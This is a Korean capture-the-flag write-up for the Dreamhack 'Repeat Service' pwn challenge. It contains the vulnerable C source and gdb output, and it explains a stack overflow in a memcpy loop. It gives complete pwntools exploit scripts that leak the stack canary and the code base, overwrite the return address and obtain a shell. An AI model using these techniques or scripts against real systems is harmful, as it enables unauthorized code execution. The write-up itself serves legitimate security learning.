[dreamhack] Repeat Service writeup

1. 문제

thumbnail
Repeat Service

Repeat Service는 문자열을 입력해주면 반복해서 출력해주는 편리한 서비스입니다.
반복하고 싶은 문구가 있다면 한 번 사용해보세요!
문자열을 계속 출력하다보면 플래그를 얻을 수 있을지도...?

https://dreamhack.io/wargame/challenges/1149

2. 풀이


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void win() {
	system("/bin/sh");
}

int main() {
	initialize();

	char inp[80] = {0};
	char buf[1000] = {0};

	puts("Welcome to the Repeat Service!");
	puts("Please put your string and length.");

	while (1) {
		printf("Pattern: ");
		int len = read(STDIN_FILENO, inp, 80);
		if (len == 0)
			break;
		if (inp[len - 1] == '\n') {
			inp[len - 1] = 0;
			len--;
		}

		int target_len = 0;
		printf("Target length: ");
		scanf("%d", &target_len);

		if (target_len > 1000) {
			puts("Too long :(");
			break;
		}

		int count = 0;
		while (count < target_len) {
			memcpy(buf + count, inp, len);
			count += len;
		}

		printf("%s\n", buf);
	}
	return 0;
}

Pattern을 80바이트까지 inp에 입력할 수 있고, Target length가 될때까지 계속 반복해서 buf에 입력한다. 이때 입력 가능한 Target length는 최대 1000이다.

이후 buf를 출력한다.


취약점은 아래 코드에서 발생한다.

while (count < target_len) {
			memcpy(buf + count, inp, len);
			count += len;
}

counttarget_len보다 작으면 계속 수행하는데, memcpy를 할 때 buf + count에 입력을 하고 이후에 countlen을 더해준다.

따라서 target_len이 1000일때 count가 999여도 일단 memcpy를 수행하면서 bof가 발생하게 된다.

checksec으로 바이너리를 확인하면 아래와 같다.

ubuntu@instance-20250406-1126:~/dreamhack/level3/Repeat_Service/deploy$ checksec main
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Repeat_Service/deploy/main'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

2.1. canary leak

우선 canary부터 leak을 해보자. 먼저 스택 상태는 아래와 같다.

스택 위치 변수명
rbp - 0x44c target_len
rbp - 0x448 count
rbp - 0x444 len
rbp - 0x440 inp
rbp - 0x3f0 buf
rbp - 0x8 canary

buf0x3e8 == 1000만큼 입력하면 안되고 +1 해서 1001바이트를 입력하면 canary를 얻을 수 있다. 그러려면 위의 while문을 통해 1001바이트를 정확히 입력해야하는데 1001은 13의 배수이기 때문에 13개의 a를 패턴으로 넣어주면 정확히 1001바이트가 덮이면서 canary까지 출력된다.

# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)

p.sendlineafter(b"Target length: ", b"1000")

p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))

2.2. code base leak

그뒤에 PIE가 걸려있는지 모르고 바로 win함수 주소로 덮으려했다가 바로 실패…

win함수는 code 영역에 존재하기 때문에 canary leak과 비슷하게 해당 영역의 주소를 하나 leak을 해와서 그걸 기준으로 win함수를 계산해줘야한다.

gdb로 리턴 주소 이후를 살펴보면 아래와 같다.

pwndbg> x/10gx $rbp
0x7ffd29d0a840:	0x00007ffd29d0a8e0	0x000073f72182a1ca
0x7ffd29d0a850:	0x00007ffd29d0a890	0x00007ffd29d0a968
0x7ffd29d0a860:	0x0000000170590040	0x00005d5b7059128a
0x7ffd29d0a870:	0x00007ffd29d0a968	0x2c192f8e7d9e5687
0x7ffd29d0a880:	0x0000000000000001	0x0000000000000000
pwndbg> disass win
Dump of assembler code for function win:
   0x00005d5b70591270 <+0>:	endbr64
   0x00005d5b70591274 <+4>:	push   rbp
   0x00005d5b70591275 <+5>:	mov    rbp,rsp
   0x00005d5b70591278 <+8>:	lea    rax,[rip+0xd89]        # 0x5d5b70592008
   0x00005d5b7059127f <+15>:	mov    rdi,rax
   0x00005d5b70591282 <+18>:	call   0x5d5b705910e0 <system@plt>
   0x00005d5b70591287 <+23>:	nop
   0x00005d5b70591288 <+24>:	pop    rbp
   0x00005d5b70591289 <+25>:	ret
End of assembler dump.

보면 win함수는 0x00005d5b70591270인데 그 주변으로 보이는 값이 하나 보인다. 0x7ffd29d0a868 위치에 0x00005d5b7059128a이 있고 딱 0x1a만큼 차이가 있다.

0x7ffd29d0a868 위치는 buf변수 뒤에 48바이트만큼 뒤에 위치하기 때문에 최소한 1048바이트를 덮어줘야 한다.

그런데 1048바이트는 되게 애매한 숫자라서 80바이트 이하의 패턴을 넣었을때 딱 맞아떨이지는 숫자가 없다… 1048 = 8 x 131인데 131은 80바이트보다 크고, 8은 너무 작고 1000바이트에 딱맞기 때문에 1000바이트 이상 덮을 수 없다.

1048보다 크면서 가장 작은 가능한 숫자를 찾으면 1050 = 75 * 14이다. 그래서 a를 75개 넣는 패턴을 주면 14번 돌면서 1050바이트를 덮게 되는데 이러면 우리가 원하는 1048바이트를 넘어서 code 영역 마지막 2바이트까지 덮게된다.

예시는 아래와 같다.

pwndbg> x/10gx $rbp
0x7ffee8742950:	0x6161616161616161	0x6161616161616161
0x7ffee8742960:	0x6161616161616161	0x6161616161616161
0x7ffee8742970:	0x6161616161616161	0x0000558f36ad6161

a (0x61)로 마지막 2바이트가 덮인 것을 볼 수 있다. 그런데 이때 2바이트 (16비트) 중 12비트는 고정이지만 상위 4비트는 가변이다! 그래서 16분의 1의 확률로 win함수의 주소를 맞춰야한다…

어쨌든 마지막 12비트가 고정이고, 리턴주소를 win 함수로 추정되는 주소로 덮어줘야하는데, 리턴주소는 buf (1000) + canary (8) + sfp (8) + ret (8) 해서 1024바이트를 덮어야 한다.

이것도 1024 = 64 * 16하면 딱 맞출 수 있는데 왜 나는 멍청하게 1027 = 79 * 13을 해서 마지막 3바이트는 더미로 채우고 아래와 같이 구성했다.

payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
payload += p64(code_base - 0x6161 + 0x7278)     payload += b"c" * 3

p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")

leak을 한 code_base에서 a로 덮었던 0x6161 2바이트를 빼주고, 0x7278을 더했다. win함수의 마지막 12비트는 0x270인데 0x278로 끝나는 수를 더해준 이유는 스택 정렬 때문이다.

2.3. local exploit

이제 함수가 종료되어 우리가 설정한 리턴 주소로 뛰게하기 위해서 Target length를 1000보다 크게 입력해준다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./main")

#p = remote("host8.dreamhack.games", 8961)
elf = ELF("./main")

# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)

p.sendlineafter(b"Target length: ", b"1000")

p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))


# code base leak
p.sendlineafter(b"Pattern: ", b"a" * 75)   # local
p.sendlineafter(b"Target length: ", b"1000")

p.recvuntil(b"a" * 1048)   # local
code_base = u64(p.recv(6) + b"\x00" * 2)

print(hex(code_base))

payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
# do not return to start addr of win, return after stack alignment
payload += p64(code_base - 0x6161 + 0x7278)     # local - with 1/16 prob
payload += b"c" * 3

p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")

# return to win
p.sendlineafter(b"Pattern: ", b"a") 
p.sendlineafter(b"Target length: ", b"2000")


p.interactive()

이러고 나는 이 exploit을 성공시키기 위해 쉘이 따질때까지 무지성으로 실행시켰다… 16분의 1 확률이니까 그렇게 낮지않다^^

ubuntu@instance-20250406-1126:~/dreamhack/level3/Repeat_Service/deploy$ python3 e_Repeat_Service.py 
[+] Starting local process './main': pid 3161651
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Repeat_Service/deploy/main'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
0x5f18c9e16161
[*] Switching to interactive mode
Too long :(
$ 
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

2.4. remote exploit

문제는 여기서 시작됐다. 로되리안이 터지면서 로컬에서는 되는게 서버 환경에서는 안됐다.

그런데 qna 글을 보다가 거의 똑같은데? 생각했지만 code_base를 leak하는 과정에서 offset이 달랐다. leak 해야하는 code_base 주소가 buf의 1048바이트 뒤에 있는게 아니라 1032바이트 뒤에 있는 것을 알게됐고, 위의 과정을 1032바이트에 맞춰서 다시 진행했다. 1032 = 43 * 24로 딱 맞아떨어지면서 2바이트를 덮지도 않기 때문에 정확한 code_base 주소를 알아낼 수 있었고, exploit을 다시 작성해서 바로 성공했다.

from pwn import *

p = process("./main")

#p = remote("host8.dreamhack.games", 8961)
elf = ELF("./main")

# canary leak
p.sendlineafter(b"Pattern: ", b"a" * 13)

p.sendlineafter(b"Target length: ", b"1000")

p.recvuntil(b"a" * 1001)
canary = u64(b"\x00" + p.recv(7))

# code base leak
p.sendlineafter(b"Pattern: ", b"a" * 43)    # remote
p.sendlineafter(b"Target length: ", b"1000")

p.recvuntil(b"a" * 1032)
code_base = u64(p.recv(6) + b"\x00" * 2)

print(hex(code_base))

payload = b"a" * 52
payload += p64(canary)
payload += b"b" * 8
payload += p64(code_base - 0x12)
payload += b"c" * 3

p.sendlineafter(b"Pattern: ", payload)
p.sendlineafter(b"Target length: ", b"1000")

# return to win
p.sendlineafter(b"Pattern: ", b"a")
p.sendlineafter(b"Target length: ", b"2000")

p.interactive()

code_base 주소 위치가 달라져버리는지는 모르겠다…. libc의 문제도 아닌데 이건 그냥 환경 차이인가 싶기도 하고. (서버환경은 Ubuntu 22.04이고 나는 Ubuntu 24.02였다.)

qna 글이 없었으면 그냥 계속 왜안되지하고 넘어갔을텐데 감사…

다시 생각해보니 도커 파일도 있겠다 libc leak해서 그냥 ROP로 할걸 그랬다(?)

아무튼 해결~